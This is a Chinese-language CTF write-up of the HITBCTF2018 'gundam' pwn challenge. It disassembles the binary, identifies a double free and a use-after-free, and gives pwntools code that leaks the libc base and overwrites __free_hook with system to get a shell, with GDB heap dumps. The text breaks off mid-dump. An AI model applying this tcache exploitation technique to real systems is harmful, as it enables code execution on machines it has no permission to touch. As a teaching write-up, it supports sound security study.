6.1.19 pwn HITBCTF2018 gundam
题目复现
$ file gundam
gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped
$ checksec -f gundam
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 4 gundam
$ strings libc-2.26.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.
保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
玩一下:
$ ./gundam
... # 创建了两个 gundam
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2
Gundam[0] :AAAA
Type[0] :Freedom
Gundam[1] :BBBB
Type[1] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3
Which gundam do you want to Destory:0 # 第一次销毁 gundam 0,成功
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3
Which gundam do you want to Destory:0 # 第二次销毁 gundam 0,成功
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2 # 此时剩下 gundam 1
Gundam[1] :BBBB
Type[1] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 4 # 销毁 factory
Done!
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2 # gundam 1 没有变化
Gundam[1] :BBBB
Type[1] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3 # 第三次销毁 gundam 0,失败
Which gundam do you want to Destory:0
Invalid choice
根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。
题目解析
main
[0x000009e0]> pdf @ main
/ (fcn) main 122
| main ();
| ; var int local_18h @ rbp-0x18
| ; var int local_12h @ rbp-0x12
| ; var int local_8h @ rbp-0x8
| ; DATA XREF from 0x000009fd (entry0)
| 0x000010c5 push rbp
| 0x000010c6 mov rbp, rsp
| 0x000010c9 sub rsp, 0x20
| 0x000010cd mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
| 0x000010d6 mov qword [local_8h], rax
| 0x000010da xor eax, eax
| 0x000010dc mov eax, 0
| 0x000010e1 call sub.setvbuf_22 ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| ; JMP XREF from 0x00001192 (main + 205)
| 0x000010e6 mov eax, 0
| 0x000010eb call sub.puts_aea ; int puts(const char *s)
| 0x000010f0 lea rax, [local_12h]
| 0x000010f4 mov edx, 8
| 0x000010f9 mov rsi, rax
| 0x000010fc mov edi, 0
| 0x00001101 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00001106 lea rax, [local_12h]
| 0x0000110a mov rdi, rax
| 0x0000110d call sym.imp.atoi ; int atoi(const char *str)
| 0x00001112 mov dword [local_18h], eax ; 读入选项
| 0x00001115 cmp dword [local_18h], 5 ; [0x5:4]=257
| ,=< 0x00001119 ja 0x1185
| | 0x0000111b mov eax, dword [local_18h]
| | 0x0000111e lea rdx, [rax*4]
| | 0x00001126 lea rax, [0x00001368] ; 获取跳转表
| | 0x0000112d mov eax, dword [rdx + rax] ; 获取对应表项
| | 0x00001130 movsxd rdx, eax
| | 0x00001133 lea rax, [0x00001368]
| | 0x0000113a add rax, rdx ; '('
\ | 0x0000113d jmp rax ; 跳到相应函数
[0x000009e0]> px 20 @ 0x00001368+0x4
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0000136c d7fd ffff e3fd ffff effd ffff fbfd ffff ................
0x0000137c 07fe ffff
[0x000009e0]> pd 20 @ 0x0000113f
: 0x0000113f mov eax, 0
: 0x00001144 call sub.malloc_b7d ; 选项 1
,==< 0x00001149 jmp 0x1192
|: 0x0000114b mov eax, 0
|: 0x00001150 call sub.Gundam__u__:_s_ef4 ; 选项 2
,===< 0x00001155 jm p 0x1192
||: 0x00001157 mov eax, 0
||: 0x0000115c call sub.Which_gundam_do_you_want_to_Destory:_d32 ; 选项 3
,====< 0x00001161 jmp 0x1192
|||: 0x00001163 mov eax, 0
|||: 0x00001168 call sub.Done_e22 ; 选项 4
,=====< 0x0000116d jmp 0x1192
||||: 0x0000116f lea rdi, str.Exit.... ; 0x135c ; "Exit...."
||||: 0x00001176 call sym.imp.puts ; int puts(const char *s)
||||: 0x0000117b mov edi, 0
||||: 0x00001180 call sym.imp.exit ; 选项 5
||||: ; JMP XREF from 0x00001119 (main)
||||: 0x00001185 lea rdi, str.Invalid_choice ; 0x130d ; "Invalid choice"
||||: 0x0000118c call sym.imp.puts ; int puts(const char *s)
||||: 0x00001191 nop
||||| ; JMP XREF from 0x00001149 (main + 132)
||||| ; JMP XREF from 0x00001155 (main + 144)
||||| ; JMP XREF from 0x00001161 (main + 156)
||||| ; JMP XREF from 0x0000116d (main + 168)
`````=< 0x00001192 jmp 0x10e6 ; main+0x21
一个典型的 switch-case 跳转结构。
Build a gundam
[0x000009e0]> pdf @ sub.malloc_b7d
/ (fcn) sub.malloc_b7d 437
| sub.malloc_b7d (int arg_8h);
| ; var int local_20h @ rbp-0x20
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; var int local_0h @ rbp-0x0
| ; arg int arg_8h @ rbp+0x8
| ; UNKNOWN XREF from 0x00001144 (main + 127)
| ; CALL XREF from 0x00001144 (main + 127)
| 0x00000b7d push rbp
| 0x00000b7e mov rbp, rsp
| 0x00000b81 sub rsp, 0x20
| 0x00000b85 mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
| 0x00000b8e mov qword [local_8h], rax
| 0x00000b92 xor eax, eax
| 0x00000b94 mov qword [local_18h], 0 ; 初始化 [local_18h]
| 0x00000b9c mov qword [local_10h], 0 ; 初始化 [local_10h]
| 0x00000ba4 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出当前 gundam 数量
| 0x00000baa cmp eax, 8
| ,=< 0x00000bad ja 0xd17 ; 如果大于 8,函数返回
| | 0x00000bb3 mov edi, 0x28 ; 否则继续
| | 0x00000bb8 call sym.imp.malloc ; [local_18h] = malloc(0x28) 分配一块内存作为 gundam
| | 0x00000bbd mov qword [local_18h], rax
| | 0x00000bc1 mov rax, qword [local_18h]
| | 0x00000bc5 mov edx, 0x28 ; '('
| | 0x00000bca mov esi, 0
| | 0x00000bcf mov rdi, rax
| | 0x00000bd2 call sym.imp.memset ; memset([local_18h], 0, 0x28) 进行初始化
| | 0x00000bd7 mov edi, 0x100
| | 0x00000bdc call sym.imp.malloc ; [local_10h] = malloc(0x100) 分配一块内存作为 name
| | 0x00000be1 mov qword [local_10h], rax
| | 0x00000be5 cmp qword [local_10h], 0
| ,==< 0x00000bea jne 0xc02
| || 0x00000bec lea rdi, str.error ; 0x1295 ; "error !"
| || 0x00000bf3 call sym.imp.puts ; int puts(const char *s)
| || 0x00000bf8 mov edi, 0xffffffff ; -1
| || 0x00000bfd call sym.imp.exit ; void exit(int status)
| || ; JMP XREF from 0x00000bea (sub.malloc_b7d)
| `--> 0x00000c02 lea rdi, str.The_name_of_gundam_: ; 0x129d ; "The name of gundam :"
| | 0x00000c09 mov eax, 0
| | 0x00000c0e call sym.imp.printf ; int printf(const char *format)
| | 0x00000c13 mov rax, qword [local_10h]
| | 0x00000c17 mov edx, 0x100
| | 0x00000c1c mov rsi, rax
| | 0x00000c1f mov edi, 0
| | 0x00000c24 call sym.imp.read ; read(0, [local_10h], 0x100) 读入字符到 name
| | 0x00000c29 mov rax, qword [local_18h] ; 取出 gundam
| | 0x00000c2d mov rdx, qword [local_10h]
| | 0x00000c31 mov qword [rax + 8], rdx ; 将 name 放到 gundam->name
| | 0x00000c35 lea rdi, str.The_type_of_the_gundam_: ; 0x12b2 ; "The type of the gundam :"
| | 0x00000c3c mov eax, 0
| | 0x00000c41 call sym.imp.printf ; int printf(const char *format)
| | 0x00000c46 lea rax, [local_20h]
| | 0x00000c4a mov rsi, rax
| | 0x00000c4d lea rdi, [0x000012cb] ; "%d"
| | 0x00000c54 mov eax, 0
| | 0x00000c59 call sym.imp.__isoc99_scanf ; 读入 type 到 [local_20h]
| | 0x00000c5e mov eax, dword [local_20h]
| | 0x00000c61 test eax, eax
| ,==< 0x00000c63 js 0xc6d
| || 0x00000c65 mov eax, dword [local_20h] ; 大于等于 0 时继续
| || 0x00000c68 cmp eax, 2
| ,===< 0x00000c6b jle 0xc83 ; 小于等于 2 时跳转
| ||| ; JMP XREF from 0x00000c63 (sub.malloc_b7d)
| |`--> 0x00000c6d lea rdi, str.Invalid. ; 0x12ce ; "Invalid."
| | | 0x00000c74 call sym.imp.puts ; int puts(const char *s)
| | | 0x00000c79 mov edi, 0
| | | 0x00000c7e call sym.imp.exit ; void exit(int status)
| | | ; JMP XREF from 0x00000c6b (sub.malloc_b7d)
| `---> 0x00000c83 mov eax, dword [local_20h]
| | 0x00000c86 movsxd rdx, eax
| | 0x00000c89 mov rax, rdx
| | 0x00000c8c shl rax, 2
| | 0x00000c90 add rax, rdx ; '('
| | 0x00000c93 shl rax, 2 ; 最后得到 rax = rax * 20
| | 0x00000c97 lea rdx, str.Freedom ; 0x202020 ; "Freedom" ; 取出起始地址
| | 0x00000c9e add rdx, rax ; rdx 为字符串 type 的地址
| | 0x00000ca1 mov rax, qword [local_18h]
| | 0x00000ca5 add rax, 0x10 ; 取出 gundam->type
| | 0x00000ca9 mov rsi, rdx
| | 0x00000cac mov rdi, rax
| | 0x00000caf call sym.imp.strcpy ; strcpy(gundam->type, type) 将字符串复制过去
| | 0x00000cb4 mov rax, qword [local_18h] ; 取出 gundam
| | 0x00000cb8 mov dword [rax], 1 ; 将 gundam->flag 赋值为 1
| | 0x00000cbe mov dword [local_1ch], 0 ; 循环计数 i,初始化为 0
| ,==< 0x00000cc5 jmp 0xd02 ; 开始循环
| || ; JMP XREF from 0x00000d06 (sub.malloc_b7d)
| .---> 0x00000cc7 mov eax, dword [local_1ch]
| :|| 0x00000cca lea rdx, [rax*8]
| :|| 0x00000cd2 lea rax, [0x002020a0] ; 取出 factory 地址
| :|| 0x00000cd9 mov rax, qword [rdx + rax] ; 找到 factory[i]
| :|| 0x00000cdd test rax, rax
| ,====< 0x00000ce0 jne 0xcfe ; 不为 0 时继续下一次循环
| |:|| 0x00000ce2 mov eax, dword [local_1ch] ; 否则继续
| |:|| 0x00000ce5 lea rcx, [rax*8]
| |:|| 0x00000ced lea rax, [0x002020a0]
| |:|| 0x00000cf4 mov rdx, qword [local_18h] ; 取出 gundam
| |:|| 0x00000cf8 mov qword [rcx + rax], rdx ; 将 gundam 放到 factory[i]
| ,=====< 0x00000cfc jmp 0xd08 ; 结束循环
| ||:|| ; JMP XREF from 0x00000ce0 (sub.malloc_b7d)
| |`----> 0x00000cfe add dword [local_1ch], 1 ; i = i + 1
| | :|| ; JMP XREF from 0x00000cc5 (sub.malloc_b7d)
| | :`--> 0x00000d02 cmp dword [local_1ch], 8 ; 最多能有 9 个 gundam
| | `===< 0x00000d06 jbe 0xcc7 ; 循环继续
| | | ; JMP XREF from 0x00000cfc (sub.malloc_b7d)
| `-----> 0x00000d08 mov eax, dword [0x0020208c] ; [0x20208c:4]=0
| | 0x00000d0e add eax, 1 ; gundam 数量 + 1
| | 0x00000d11 mov dword [0x0020208c], eax ; [0x20208c:4]=0 ; 放回去
| | ; JMP XREF from 0x00000bad (sub.malloc_b7d)
| `-> 0x00000d17 mov eax, 0
| 0x00000d1c mov rcx, qword [local_8h]
| 0x00000d20 xor rcx, qword fs:[0x28]
| ,=< 0x00000d29 je 0xd30
| | 0x00000d2b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00000d29 (sub.malloc_b7d)
| `-> 0x00000d30 leave
\ 0x00000d31 ret
[0x000009e0]> px 60 @ 0x00202020
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202020 4672 6565 646f 6d00 0000 0000 0000 0000 Freedom.........
0x00202030 0000 0000 5374 7269 6b65 2046 7265 6564 ....Strike Freed
0x00202040 6f6d 0000 0000 0000 4167 6965 7300 0000 om......Agies...
0x00202050 0000 0000 0000 0000 0000 0000
通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址0x002020a0
) 数组:
struct gundam {
uint32_t flag;
char *name;
char type[24];
} gundam;
struct gundam *factory[9];
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 0x0020208c
。
从读入 name 的操作中我们发现,程序并没有在末尾设置 \x00
,可能导致信息泄漏(以\x0a
结尾)。
Visit gundams
[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4
/ (fcn) sub.Gundam__u__:_s_ef4 254
| sub.Gundam__u__:_s_ef4 (int arg_8h);
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; arg int arg_8h @ rbp+0x8
| ; CALL XREF from 0x00001150 (main + 139)
| 0x00000ef4 push rbp
| 0x00000ef5 mov rbp, rsp
| 0x00000ef8 sub rsp, 0x10
| 0x00000efc mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
| 0x00000f05 mov qword [local_8h], rax
| 0x00000f09 xor eax, eax
| 0x00000f0b mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
| 0x00000f11 test eax, eax
| ,=< 0x00000f13 jne 0xf26 ; 不等于 0 时跳转
| | 0x00000f15 lea rdi, str.No_gundam_produced ; 0x1322 ; "No gundam produced!"
| | 0x00000f1c call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000f21 jmp 0xfd7
| || ; JMP XREF from 0x00000f13 (sub.Gundam__u__:_s_ef4)
| |`-> 0x00000f26 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
| |,=< 0x00000f2d jmp 0xfcd ; 开始循环
| || ; JMP XREF from 0x00000fd1 (sub.Gundam__u__:_s_ef4)
| .---> 0x00000f32 mov eax, dword [local_ch]
| :|| 0x00000f35 lea rdx, [rax*8]
| :|| 0x00000f3d lea rax, [0x002020a0]
| :|| 0x00000f44 mov rax, qword [rdx + rax] ; 取出 factory[i]
| :|| 0x00000f48 test rax, rax
| ,====< 0x00000f4b je 0xfc9 ; 为 0 时跳转,下一次循环
| |:|| 0x00000f4d mov eax, dword [local_ch]
| |:|| 0x00000f50 lea rdx, [rax*8]
| |:|| 0x00000f58 lea rax, [0x002020a0]
| |:|| 0x00000f5f mov rax, qword [rdx + rax]
| |:|| 0x00000f63 mov eax, dword [rax] ; 取出 factory[i]->flag
| |:|| 0x00000f65 test eax, eax
| ,=====< 0x00000f67 je 0xfc9 ; flag 为 0 时跳转,下一次循环
| ||:|| 0x00000f69 mov eax, dword [local_ch]
| ||:|| 0x00000f6c lea rdx, [rax*8]
| ||:|| 0x00000f74 lea rax, [0x002020a0]
| ||:|| 0x00000f7b mov rax, qword [rdx + rax]
| ||:|| 0x00000f7f mov rdx, qword [rax + 8] ; 取出 factory[i]->name
| ||:|| 0x00000f83 mov eax, dword [local_ch]
| ||:|| 0x00000f86 mov esi, eax
| ||:|| 0x00000f88 lea rdi, str.Gundam__u__:_s ; 0x1336 ; "\nGundam[%u] :%s"
| ||:|| 0x00000f8f mov eax, 0
| ||:|| 0x00000f94 call sym.imp.printf ; 打印出 factory[i]->name
| ||:|| 0x00000f99 mov eax, dword [local_ch]
| ||:|| 0x00000f9c lea rdx, [rax*8]
| ||:|| 0x00000fa4 lea rax, [0x002020a0]
| ||:|| 0x00000fab mov rax, qword [rdx + rax]
| ||:|| 0x00000faf lea rdx, [rax + 0x10] ; 取出 factory[i]->type
| ||:|| 0x00000fb3 mov eax, dword [local_ch]
| ||:|| 0x00000fb6 mov esi, eax
| ||:|| 0x00000fb8 lea rdi, str.Type__u__:_s ; 0x1346 ; "Type[%u] :%s\n"
| ||:|| 0x00000fbf mov eax, 0
| ||:|| 0x00000fc4 call sym.imp.printf ; 打印出 factory[i]->type
| ||:|| ; JMP XREF from 0x00000f4b (sub.Gundam__u__:_s_ef4)
| ||:|| ; JMP XREF from 0x00000f67 (sub.Gundam__u__:_s_ef4)
| ``----> 0x00000fc9 add dword [local_ch], 1 ; i = i + 1
| :|| ; JMP XREF from 0x00000f2d (sub.Gundam__u__:_s_ef4)
| :|`-> 0x00000fcd cmp dword [local_ch], 8 ; 最多有 9 个 gundam
| `===< 0x00000fd1 jbe 0xf32 ; 循环继续
| | ; JMP XREF from 0x00000f21 (sub.Gundam__u__:_s_ef4)
| `--> 0x00000fd7 mov eax, 0
| 0x00000fdc mov rcx, qword [local_8h]
| 0x00000fe0 xor rcx, qword fs:[0x28]
| ,=< 0x00000fe9 je 0xff0
| | 0x00000feb call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00000fe9 (sub.Gundam__u__:_s_ef4)
| `-> 0x00000ff0 leave
\ 0x00000ff1 ret
该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。
Destory a gundam
[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32
/ (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240
| sub.Which_gundam_do_you_want_to_Destory:_d32 ();
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x0000115c (main + 151)
| 0x00000d32 push rbp
| 0x00000d33 mov rbp, rsp
| 0x00000d36 sub rsp, 0x10
| 0x00000d3a mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
| 0x00000d43 mov qword [local_8h], rax
| 0x00000d47 xor eax, eax
| 0x00000d49 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
| 0x00000d4f test eax, eax
| ,=< 0x00000d51 jne 0xd64 ; 不等于 0 时跳转
| | 0x00000d53 lea rdi, str.No_gundam ; 0x12d7 ; "No gundam"
| | 0x00000d5a call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000d5f jmp 0xe07
| || ; JMP XREF from 0x00000d51 (sub.Which_gundam_do_you_want_to_Destory:_d32)
| |`-> 0x00000d64 lea rdi, str.Which_gundam_do_you_want_to_Destory: ; 0x12e8 ; "Which gundam do you want to Destory:"
| | 0x00000d6b mov eax, 0
| | 0x00000d70 call sym.imp.printf ; int printf(const char *format)
| | 0x00000d75 lea rax, [local_ch]
| | 0x00000d79 mov rsi, rax
| | 0x00000d7c lea rdi, [0x000012cb] ; "%d"
| | 0x00000d83 mov eax, 0
| | 0x00000d88 call sym.imp.__isoc99_scanf ; 读入序号 i 到 [local_ch]
| | 0x00000d8d mov eax, dword [local_ch]
| | 0x00000d90 cmp eax, 8
| |,=< 0x00000d93 ja 0xdb2 ; 如果大于 8,函数结束
| || 0x00000d95 mov eax, dword [local_ch] ; 否则继续
| || 0x00000d98 mov eax, eax
| || 0x00000d9a lea rdx, [rax*8]
| || 0x00000da2 lea rax, [0x002020a0]
| || 0x00000da9 mov rax, qword [rdx + rax] ; 取出 factory[i]
| || 0x00000dad test rax, rax
| ,===< 0x00000db0 jne 0xdc5 ; 如果不为 0,跳转
| ||| ; JMP XREF from 0x00000d93 (sub.Which_gundam_do_you_want_to_Destory:_d32)
| ||`-> 0x00000db2 lea rdi, str.Invalid_choice ; 0x130d ; "Invalid choice"
| || 0x00000db9 call sym.imp.puts ; int puts(const char *s)
| || 0x00000dbe mov eax, 0
| ||,=< 0x00000dc3 jmp 0xe0c
| ||| ; JMP XREF from 0x00000db0 (sub.Which_gundam_do_you_want_to_Destory:_d32)
| `---> 0x00000dc5 mov eax, dword [local_ch]
| || 0x00000dc8 mov eax, eax
| || 0x00000dca lea rdx, [rax*8]
| || 0x00000dd2 lea rax, [0x002020a0]
| || 0x00000dd9 mov rax, qword [rdx + rax] ; 取出 factory[i]
| || 0x00000ddd mov dword [rax], 0 ; 将 factory[i]->flag 置为 0
| || 0x00000de3 mov eax, dword [local_ch]
| || 0x00000de6 mov eax, eax
| || 0x00000de8 lea rdx, [rax*8]
| || 0x00000df0 lea rax, [0x002020a0]
| || 0x00000df7 mov rax, qword [rdx + rax]
| || 0x00000dfb mov rax, qword [rax + 8] ; 取出 factory[i]->name
| || 0x00000dff mov rdi, rax
| || 0x00000e02 call sym.imp.free ; free(factory[i]->name)
| || ; JMP XREF from 0x00000d5f (sub.Which_gundam_do_you_want_to_Destory:_d32)
| `--> 0x00000e07 mov eax, 0
| | ; JMP XREF from 0x00000dc3 (sub.Which_gundam_do_you_want_to_Destory:_d32)
| `-> 0x00000e0c mov rcx, qword [local_8h]
| 0x00000e10 xor rcx, qword fs:[0x28]
| ,=< 0x00000e19 je 0xe20
| | 0x00000e1b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00000e19 (sub.Which_gundam_do_you_want_to_Destory:_d32)
| `-> 0x00000e20 leave
\ 0x00000e21 ret
该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。
这里有几个问题:
- 该函数是通过 factory[i] 来判断某个 gundam 是否存在,而在销毁 gundam 后并没有将 factory[i] 置空,导致 factory[i]->name 可能被多次释放
- name 指针没有被置空,可能导致 UAF
- 销毁 gundam 后没有将 gundam_num 减 1
Blow up the factory
[0x000009e0]> pdf @ sub.Done_e22
/ (fcn) sub.Done_e22 210
| sub.Done_e22 (int arg_8h);
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; arg int arg_8h @ rbp+0x8
| ; CALL XREF from 0x00001168 (main + 163)
| 0x00000e22 push rbp
| 0x00000e23 mov rbp, rsp
| 0x00000e26 sub rsp, 0x10
| 0x00000e2a mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
| 0x00000e33 mov qword [local_8h], rax
| 0x00000e37 xor eax, eax
| 0x00000e39 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
| ,=< 0x00000e40 jmp 0xec7 ; 开始循环
| | ; JMP XREF from 0x00000ecb (sub.Done_e22)
| .--> 0x00000e45 mov eax, dword [local_ch]
| :| 0x00000e48 lea rdx, [rax*8]
| :| 0x00000e50 lea rax, [0x002020a0]
| :| 0x00000e57 mov rax, qword [rdx + rax] ; 取出 factory[i]
| :| 0x00000e5b test rax, rax
| ,===< 0x00000e5e je 0xec3 ; 为 0 时跳转,下一次循环
| |:| 0x00000e60 mov eax, dword [local_ch] ; 否则继续
| |:| 0x00000e63 lea rdx, [rax*8]
| |:| 0x00000e6b lea rax, [0x002020a0]
| |:| 0x00000e72 mov rax, qword [rdx + rax]
| |:| 0x00000e76 mov eax, dword [rax] ; 取出 factory[i]->flag
| |:| 0x00000e78 test eax, eax
| ,====< 0x00000e7a jne 0xec3 ; 不等于 0 时跳转,下一次循环
| ||:| 0x00000e7c mov eax, dword [local_ch] ; 否则继续
| ||:| 0x00000e7f lea rdx, [rax*8]
| ||:| 0x00000e87 lea rax, [0x002020a0]
| ||:| 0x00000e8e mov rax, qword [rdx + rax] ; 取出 factory[i]
| ||:| 0x00000e92 mov rdi, rax
| ||:| 0x00000e95 call sym.imp.free ; free(factory[i])
| ||:| 0x00000e9a mov eax, dword [local_ch]
| ||:| 0x00000e9d lea rdx, [rax*8]
| ||:| 0x00000ea5 lea rax, [0x002020a0]
| ||:| 0x00000eac mov qword [rdx + rax], 0 ; 将 factory[i] 置为 0
| ||:| 0x00000eb4 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
| ||:| 0x00000eba sub eax, 1 ; gundam_num -= 1
| ||:| 0x00000ebd mov dword [0x0020208c], eax ; [0x20208c:4]=0 ; 写回去
| ||:| ; JMP XREF from 0x00000e5e (sub.Done_e22)
| ||:| ; JMP XREF from 0x00000e7a (sub.Done_e22)
| ``---> 0x00000ec3 add dword [local_ch], 1 ; i = i + 1
| :| ; JMP XREF from 0x00000e40 (sub.Done_e22)
| :`-> 0x00000ec7 cmp dword [local_ch], 8 ; 最多有 9 个 gundam
| `==< 0x00000ecb jbe 0xe45 ; 循环继续
| 0x00000ed1 lea rdi, str.Done ; 0x131c ; "Done!"
| 0x00000ed8 call sym.imp.puts ; int puts(const char *s)
| 0x00000edd nop
| 0x00000ede mov rax, qword [local_8h]
| 0x00000ee2 xor rax, qword fs:[0x28]
| ,=< 0x00000eeb je 0xef2
| | 0x00000eed call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00000eeb (sub.Done_e22)
| `-> 0x00000ef2 leave
\ 0x00000ef3 ret
该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。
经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。
Exploit
所以利用过程如下:
- 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出
__free_hook
和system
的地址。 - 利用 double free,将
__free_hook
修改为system
。 - 当调用
free
的时候就会调用system
,获得 shell。
leak
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build('A'*7)
for i in range(7):
destroy(i) # tcache bin
destroy(7) # unsorted bin
blow_up()
for i in range(8):
build('A'*7)
visit()
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook address: 0x%x" % __free_hook_addr)
log.info("system address: 0x%x" % system_addr)
chunk 被放进 unsorted bin 时:
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555757000 0x0000555555778000 rw-p [heap]
gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000 0x0000000000000111
0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin
0x555555757b60: 0x0000000000000000 0x0000000000000000
gdb-peda$ vmmap libc
Start End Perm Name
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc-2.26.so
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc-2.26.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc-2.26.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc-2.26.so
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
$1 = 0x3dac78
可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。
再次 malloc 之后:
gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000 0x0000000000000111
0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
0x555555757b60: 0x0000000000000000 0x0000000000000000
可以看到程序并没有在字符串后加 \x00
隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。
[*] libc base: 0x7ffff79f8000
[*] __free_hook address: 0x7ffff7dd48a8
[*] system address: 0x7ffff7a3fdc0
overwrite
def overwrite():
destroy(2)
destroy(1)
destroy(0)
destroy(0) # double free
blow_up()
build(p64(__free_hook_addr)) # 0
build('/bin/sh\x00') # 1
build(p64(system_addr)) # 2
触发 double free 时:
gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
0x5555557570d0: 0x0000000000000000 0x0000000000000000
